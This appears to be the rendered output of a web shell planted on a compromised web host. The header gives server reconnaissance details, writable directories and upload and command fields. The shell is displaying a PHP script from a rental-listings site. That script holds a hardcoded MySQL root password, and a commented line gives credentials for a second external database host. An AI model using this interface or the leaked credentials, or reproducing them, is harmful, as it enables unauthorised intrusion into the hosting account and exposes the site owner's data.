403Webshell
Server IP : 104.21.17.213  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/rentalssearch.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/rentalssearch.com/fixing_rent_data.php
<?php
include_once "config.php";
require_once "lib/dbmysql.class.php";
error_reporting(E_ALL);

$db = new DbMySQL("localhost", "rentalssearch", "root", "vfpfafrf!2");
$db->connect();


$sql = "SELECT * FROM realty Where url_path is null";
$houses = $db->select($sql);


$sql = "INSERT IGNORE INTO content_category (tid,houses_id) (SELECT 9,ID FROM realty WHERE (status='For Sale or Rent' or status='For Rent' or status='For lease') and type in ('Commercial Property','Industrial','Office','Retail-Commercial','Shopping Center','Vacant Land','Hospitality'))";
$db->query($sql);

$sql = "INSERT IGNORE INTO content_category (tid,houses_id) (SELECT 8,ID FROM realty WHERE (status='For Sale or Rent' or status='For Rent' or status='For lease') and type in ('Multi-Family'))";
$db->query($sql);

$sql = "UPDATE realty SET path='commercial' WHERE (status='For Sale or Rent' or status='For Rent' or status='For lease') and type in ('Commercial Property','Industrial','Office','Retail-Commercial','Shopping Center','Vacant Land')";
$db->query($sql);

$sql = "UPDATE realty SET path='residential' WHERE (status='For Sale or Rent' or status='For Rent' or status='For lease') and type in ('Multi-Family')";
$db->query($sql);


$sql = "UPDATE realty SET url_path=ID WHERE site_index=2 and address!='' and city!='' and state!=''";
$db->query($sql);

//$sql = "UPDATE realty SET path1='foreclosure' WHERE status='For Sale' and  status_type in ('Short Sale','Foreclosure/Bank Owned','Foreclosure')";
//$db->query($sql);
//
//$sql = "UPDATE realty SET path1='reo' WHERE status='For Sale' and  status_type in ('Foreclosure/Bank Owned')";
//$db->query($sql);
//
//$sql = "UPDATE realty SET path1='reo' WHERE source LIKE '%Fannie Mae%' or source LIKE '%IndyMac Bank%' or source LIKE '%Wells Fargo%'";
//$db->query($sql);

//$db3 = new DbMySQL("office.crimeaonline.net:3307", "hspars", "itc", "qweqwe123");
//$db3->connect();

$sql='SELECT ID FROM realty WHERE INSTR(url_path, "\n")';
$houses = $db->select($sql);

foreach($houses as $key=>$house){
    $sql = "UPDATE realty SET url_path = REPLACE(url_path,\"\n\",\"\") WHERE ID='".$house['ID']."'";
    if($db->query($sql)){

    }else{
        print_r($db);
    }
//    else{
//        $duplicates = $db2->select("SELECT * FROM houses WHERE 
//                    address=    '".mysql_escape_string(urldecode($house['address']))."' AND 
//                    city=   '".mysql_escape_string($house['city'])."' AND 
//                    state=  '".mysql_escape_string($house['state'])."' AND
//                    zip=    '".mysql_escape_string($house['zip'])."' 
//                ORDER BY ID ASC");
//                //echo "<pre>";
//        unset($duplicates[count($duplicates)-1]);
//                
//                //print_r($duplicates);
//        foreach ($duplicates as $key=>$value){
//            echo "\n".$value['ID']."\n";
//            $db3->query("delete from houses where ID=".$value['ID']);
//            $db->query("delete from realty where ID=".$value['ID']);
//        }   	
//    }  
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit